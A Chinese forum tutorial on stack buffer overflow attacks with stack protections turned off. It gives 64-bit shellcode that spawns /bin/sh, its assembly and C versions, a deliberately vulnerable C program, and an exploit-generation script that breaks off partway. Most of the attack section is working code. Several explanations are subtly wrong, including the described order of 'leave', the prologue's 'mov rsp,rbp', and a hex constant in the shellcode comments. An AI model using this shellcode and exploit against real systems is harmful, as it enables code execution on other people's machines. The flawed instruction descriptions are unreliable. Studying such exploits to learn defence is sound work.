1 本文搬运于我的CSDN blog。
2 第一次发帖,有不合理的地方,希望斑竹直接delete。
3 由于长期拿着各位大大的总结的知识,我深表感激。这里我总结了一个关于软件调试的原理,回馈给大家。
#PS:要转载请注明出处,本人版权所有
PS:这个只是 《 我自己 》理解,如果和你的
原则相冲突,请谅解,勿喷
本文仅用于学习计算机程序运行原理,请不要用作其他违法用途。
前言
内存溢出可以说是我们程序员经常遇到的问题了,但是一般过程中,我们只会处理让程序崩溃的内存溢出,只要程序不崩溃,我们基本不会管的了。这里,我将会演示一下程序内存溢出的严重后果。同时也警示我们自身,写程序一定要逻辑严密一点,不要犯低级错误。(然而我们不可能避免错误,只要没有比较明显的错误即可。)
前置知识(64bit)
汇编中的几个重要指令:
call xxx 等价于:push eip 和 jump xxx
leave 等价于: pop rbp 和 mov rbp,rsp
ret 等价于 pop eip
栈帧的知识:
参考我之前的文章:(这里就不贴链接了,大家百度栈帧的知识吧,等会儿被人肉了不好)
简单说就是,跳转到一个子过程,会又一片新的内存区域,有三个重要的寄存器rbp,rsp,eip 可以表示和这个区域的属性。看下图:(在调用一个子过程的时候,注意rsp,rbp,eip的变化,新的rsp和rbp的生成,新老rsp和rbp的关系)
注意:每个子调用的完整过程为:这里面包含了所有的rbp,rsp,eip的变化
call sub_call ; eip入栈,rsp-8
push rbp ; rbp 入栈 rsp-8
mov rsp,rbp ; rsp 赋值给rbp,作为一个新的栈帧开始,rbp为栈底
... ... ;这里就是子调用的变量内存分配,rsp-0xN
... ... ;其他过程
... ... ;其他过程
leave ;rbp赋值给rsp, rbp出栈,rsp+8
ret ;eip出栈,rsp+8
这样的一个过程,就完成了现场调整执行子调用然后恢复现场的过程。
内存溢出的攻击的简要原理(以上图为例)
x86栈帧是从高地址到低地址的排列的。如果我在sub_func中分配了0xN字节的buf,那么上图的rbp'和rsp'的关系变为rbp'=rsp'+0xN,如果没有做安全的内存使用,我直接写入了0xN+8+8的数据,理论上来说,我就覆盖了上图栈中eip的值,eip存放的是sub_func返回时,要执行Main_Func下一条指令的地址,也就是说,我控制了,sub_func返回时要执行的地址内容,那么通过精心构造的内容,如果写入到buf,就可能执行我们想要的代码。
那么是不是内存溢出很简单呢?操作系统难道那么不安全吗?
现代内存堆栈保护技术出现
1 编译器堆栈检测
2 堆栈不可执行
3 地址空间随机化等等
这些东西都可以提高内存溢出的难度,我是一个小白,为了理解内存攻击,我得把他们关闭了。
内存溢出攻击实例
1 准备一份shellcode,就是上面替换eip后,你想要执行的一份代码。我这里选择,生成一个shell。
对应的16进制:
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
c版本
// int execve(const char *filename, char *const argv[],char *const envp[]);const char * a = "/bin/sh";char * b[1];b[0] = a;execve(a, b, NULL);汇编版本(64位,注意)
xor eax, eax ; 清空eax mov rbx, 0xFF978CD091969DD1 ; 0x6873276e69622f的补码 neg rbx;对rbx求补码,rbx=0x6873276e69622f,代表hs/nib/ push rbx;把/bin/sh的地址放入栈,rsp-8 push rsp;rsp放入堆栈,rsp-8 pop rdi;把/bin/sh的地址给rdi,rdi作为作为参数参数的第一个参数,在64系统中,rsp+8 cdq;把edx的每一位设置为eax的最高位,就是edx清零,然后把edx作为eax的高位。 push rdx;内存地址高8字节rsp-8 push rdi;内存地址低8字节,指向/bin/sh,rsp-8 push rsp;保存rsp,rsp-8 pop rsi;rsi=新构造的一个变量地址。指向/bin/sh,rsp+8 mov al, 0x3b;设置系统调用号0x3b execv syscall;系统调用64位系统,execve的系统调用号为59,也就是0x3b
2 实际实例攻击
异常代码
#include #include #include #include #include #include void overflow(char * msg){ char buf[10]; memcpy(buf, msg, 100); printf("buf out: %s", buf);}int main(int argc, char * argv[]){ char main_buf[100]; int f = open(argv[1], O_RDONLY); read(f, main_buf, 100); overflow(main_buf); return 0;}exp 辅助生产工具,生成exp文件,python exp.py>msg
exp.py 文件内容
#!/usr/bin/pythonimport structfrom subprocess import calladdr=0x7fffffffDE5Bs_c="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"buf="M"*10buf+="M"*8buf+=struct.pack(" |